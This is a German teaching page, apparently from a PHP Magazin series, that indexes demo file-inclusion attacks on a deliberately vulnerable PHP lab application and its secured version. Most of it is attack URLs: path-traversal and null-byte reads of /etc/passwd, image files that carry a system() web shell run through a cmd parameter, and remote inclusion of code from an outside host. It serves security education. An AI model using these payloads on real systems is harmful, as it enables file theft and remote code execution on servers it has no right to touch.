PHP Magazin Demos: File Inclusion

Dies ist die Startseite für die verschiedenen Beispiele für Angriffe auf File-Inclusion-Schwachstellen.

Werden die Skripte aus dem ZIP-Archiv statt des VMware-Images verwendet, sind mindestens folgende Anpassungen notwendig:

Die unsichere Anwendung finden Sie im Verzeichnis phpmag/, die sichere Version im Verzeichnis phpmag-sicher/. Die Angriffe liegen jeweils in 2 Versionen vor, für die unsichere und sichere Version.

Ggf, müssen Sie sich im jeweiligen Bereich anmelden. Die Zugangsdaten lauten

In den Formularen der Startseite und des Backend-Bereichs sind die Zugangsdaten bereits vorgegeben, so dass Sie die Formulare nur noch absenden müssen.

Unsichere Konfiguration

Für die Experimente mit den File-Inclusion-Schwachstellen muss PHP unsicher konfiguriert sein. Das fertige VMware-Image wurde bereits entsprechend angepasst. Wenn Sie ein altes Image aktualisieren oder die Tests auf einem eigenen Server (der dann aber besser nicht mit dem Internet verbunden sein sollte) durchführen, müssen Sie folgende Änderungen an der php.ini vornehmen:

Die Angriffe und Tests

Alle Angriffe werden in einem neuen Fenster geöffnet.

1. Local File Inclusion

Für die unsichere Anwendung:

Gezielter Zugriff auf /etc/passwd ohne Nullbyte:
index.php?sprache=../../../../../etc/passwd

Gezielter Zugriff auf /etc/passwd:
index.php?sprache=../../../../../etc/passwd%00

Ungezielter Zugriff auf /etc/passwd:
index.php?sprache=../../../../../../../../../../../etc/passwd%00

Zugriff auf das Bild mit dem phpinfo()-Aufruf:
index.php?sprache=../../avatare/pwnedinfo.gif%00

Zugriff auf das Bild mit dem system()-Aufruf und Befehl "ls -lr":
index.php?sprache=../../avatare/pwnedshell.gif%00&cmd=ls%20-lr

Zugriff auf die Datei avatare/phpmag610.txt mit Parameter cmd=nix:
index.php?sprache=../../avatare/phpmag610.txt%00&cmd=nix

Für die sichere Anwendung:

Gezielter Zugriff auf /etc/passwd ohne Nullbyte:
index.php?sprache=../../../../../etc/passwd

Gezielter Zugriff auf /etc/passwd:
index.php?sprache=../../../../../etc/passwd%00

Ungezielter Zugriff auf /etc/passwd:
index.php?sprache=../../../../../../../../../../../etc/passwd%00

Zugriff auf das Bild mit dem phpinfo()-Aufruf:
index.php?sprache=../../avatare/pwnedinfo.gif%00

Zugriff auf das Bild mit dem system()-Aufruf und Befehl "ls -lr":
index.php?sprache=../../avatare/pwnedshell.gif%00&cmd=ls%20-lr

Zugriff auf die Datei avatare/phpmag610.txt mit Parameter cmd=nix:
index.php?sprache=../../avatare/phpmag610.txt%00&cmd=nix

2. Remote File Inclusion

Für die unsichere Anwendung:

Einbinden der entfernten Datei http://www.ceilers-it.de/phpmag/610.txt:
index.php?rfi=http://www.ceilers-it.de/phpmag/610.txt?&cmd=nix&muell=

Für die sichere Anwendung:

Einbinden der entfernten Datei http://www.ceilers-it.de/phpmag/610.txt:
index.php?rfi=http://www.ceilers-it.de/phpmag/610.txt?&cmd=nix&muell=

3. Schwachstellensuche

Sie müssen sich vor den Tests im Backend anmelden!

Normaler Zugriff auf das Plugin:
backend/index.php?plugin=plugin

Test mit plugin=gibtsnicht/../plugin:
backend/index.php?plugin=gibtsnicht/../plugin

Ungezielter Zugriff auf /etc/passwd:
backend/index.php?plugin=../../../../../../../../../etc/passwd%00

Zugriff auf plugin=index.php%00:
backend/index.php?plugin=index.php%00

Zugriff auf plugin=../index.php%00:
backend/index.php?plugin=../index.php%00

Zugriff auf plugin=http://www.ceilers-it.de/phpmag/610.txt?cmd=nix&muell=:
backend/index.php?plugin=http://www.ceilers-it.de/phpmag/610.txt?cmd=nix&muell=

4. Experimente mit Datei-Funktionen

In diesem Skript können Sie mit einigen Datei-Funktionen wie z.B. realpath(), basename() und is_file() experimentieren.

Carsten Eilers